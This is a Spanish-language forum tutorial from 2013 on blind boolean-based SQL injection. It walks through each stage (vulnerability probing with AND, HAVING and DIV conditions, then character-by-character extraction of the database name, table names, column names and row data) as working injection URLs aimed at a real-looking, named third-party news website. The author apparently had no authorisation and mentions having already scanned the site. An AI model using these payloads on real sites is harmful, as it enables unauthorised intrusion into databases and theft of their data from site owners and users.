Underc0de

[In]Seguridad Informática => Bugs y Exploits => Pentesting => Mensaje iniciado por: M5f3r0 en Agosto 16, 2013, 01:42:34 AM

Título: Explotation Blind Boolean Based [SQL Injection]
Publicado por: M5f3r0 en Agosto 16, 2013, 01:42:34 AM
Buenas comunidad de Underc0de, en está ocasión les vengo a dar una explicación sobre una técnica que pertenece a la rama de la Inyección SQLi, en este caso, se llama "Blind SQLi Boolean Based".

1.- ¿Qué es una "Blind SQLi Boolean Based"?

Si se pueden fijar en el nombre, este mismo se los dice todo. Cuando decimos "Boolean based" nos referimos a que está se basa en valores booleanos, es decir, true or false/verdadero y false. Y cuando digo "Blind" Me refiero a que la Inyección es a ciegas, es decir, no nos muestra alguna señal de error.

La única forma de extraer datos que se encuentren en la currente base de datos, sería usando el modo brute force, es decir, adivinando.

2.- Explicando dos funciones importantes

Una de las funciones más comúnes que usamos al momento de explotar una Blind Boolean Based, es ascii() , con este devolvemos algún carácter válidado de la tabla "ASCII" (si no me equivoco).

Otro vendría siendo substring() con esta devolvemos una subcadena de otra subcadena.

4.- Comprobando si el sitio es vulnerable

Existen algunas formas para comprobar si el sitio web que tenemos en las manos es vulnerable a una Blind SQLi Boolean Based, podemos usar la sentencia "AND" , seguidamente alguna operación, que de como resultado un valor verdadero o uno falso (booleanos), true or false, por ejemplo, podemos usar AND 1=1 , lo cúal vendría siendo igual a True/Verdadero, ya que 1 es igual a 1 :D.

Y si coloco, and 1=0 , me debería dar un resultado false/falso , ya que 1 no es igual a 0. Un ejemplo en un sitio web:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and 1=1 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%201=1%20--%20-)

Como pueden observar, al final coloque un "-- -" , lo que es un comentario, el servidor solo lee lo que está entre la ' y el comentario -- - es decir, and 1=1 :D.  Todo lo que vaya luego de -- - el servidor no lo leera.

Y bueno, como pudieron observar en la página del sitio, se reflejo todo el texto de la noticia, ya que nos dio un resultado como true. Y ahora, si yo uso "and 1=0" me devolvería un resultado falso, ya que 1 no es igual a 0 como lo dije anteriormente, ejemplo:

http://http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and 1=0 -- - (http://http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%201=0%20--%20-)

Y esto nos da señal de que es vulnerable :D.

Aparte de usar "AND" también podemos usar "having" , que sería otra de las alternativas. es decir, reemplazamos el and y colocamos having, ej:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' having 1=1 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20having%201=1%20--%20-) ;D.

Otra alternativa es, "DIV" , reemplazamos el having o el and y colocamos div , ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' div 1=1 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20div%201=1%20--%20-) .

4.- Explotación de la vulnerabilidad

La primera fase para explotar la vulnerabilidad, sería extraer el nombre de la base de datos, para ello, iremos búscando el nombre de la DB carácter por carácter.., haciendo uso de la función database(), ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and ascii(substring(database(),1,1))=116 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20ascii(substring(database(),1,1))=116%20--%20-)

Ok, explico, con esto le estoy preguntando al servidor si el primer carácter de la base de datos empieza por 116, en dónde 116 corresponde a "t" en la tabla ascii, entonces, el servidor me dara una respuesta basada en valores booleanos, es decir, si el primer carácter SI empieza por la letra t este me devolvera true, de lo contrario me devolvera false :D. Por ejemplo, si hago lo siguiente:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and ascii(substring(database(),1,1))=115 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20ascii(substring(database(),1,1))=115%20--%20-)

Me devuelve false, es decir, el primer carácter no comienza por la letra "s" la cual en decimal corresponde a 115, (está en la tabla ascii). Les dejo la siguiente que se apoyen más adelante:

(http://www.fmmeducacion.com.ar/Informatica/tabla_ascii.jpg)

Ok, ya yo por defecto se que el nombre de la db es "truji1_noticias", ya que le he hecho un escáneo al sitio :D.

Entonces, ustedes pueden ir aumentando el número de los carácteres y ir búscando letra por letra, aumentando de 1,1 , 2,1 y así sucesivamente. Aunque pueden llegar a aburrirse y duren mucho.

Ahora podemos seguir a extraer los nombres de las tablas existentes de la DB, para ello, hacemos lo siguiente:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and (select count(*) from noticias) -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20(select%20count(*)%20from%20noticias)%20--%20-)

Como pueden observar, aquí le estoy preguntando si hay una tabla llamada noticias y me devuelve un resultado como true, es decir, SÍ, hay una tabla llamada noticias en la base de datos :D. Y use select count(*) con un * ya que aún no tenemos las columnas de esa tabla :D.

Ustedes pueden colocar luego de from el nombre de una tabla y este se encargara de verificar si está existe.

Ahora, el siguiente paso sería averiguar los nombres de las columnas de la currente tabla, para ello, reemplazamos el * por el nombre de la columna a verificar si existe, ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and (select count(id) from noticias) -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20(select%20count(id)%20from%20noticias)%20--%20-)

Con esto, le estoy preguntando si existe una columna llamada "id" en la tabla "noticias", y esto me devuelve como resultado true :D, es decir, que si existe una columna con el nombre "id", así podemos ir reemplazando nosotros y búscando nombre por nombre cada columna, ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and (select count(fecha) from noticias) -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20(select%20count(fecha)%20from%20noticias)%20--%20-)

Reemplaze id y puse fecha, y este me dice que si existe una columna con ese nombre jeje ;D.

La última fase vendría siendo la obtención de los datos de cada tabla, para ello, usaremos los siguiente:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and ascii(substring((select id from noticias limit 0,1),1,1))=49 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20ascii(substring((select%20id%20from%20noticias%20limit%200,1),1,1))=49%20--%20-)

Entonces, con esto le pregunto al servidor si el primer carácter de la primera fila de la columna "id" es 1 , lo cúal significa 49 en decimal :D, y así podremos ir búscando carácter por carácter hasta ir obteniendo los datos reales, aumentando el limit de 0,1 a 1,1 a 2,1 y así sucesivamente ;-). Y si queremos pasar a la siguiente fila, cambiamos el 1,1 por 2,1 y así vamos ;D.

Y bueno, eso ha sido todo, espero les haya gustado el tutorial y lo hayan logrado entender.

Saludos, M5f3r0.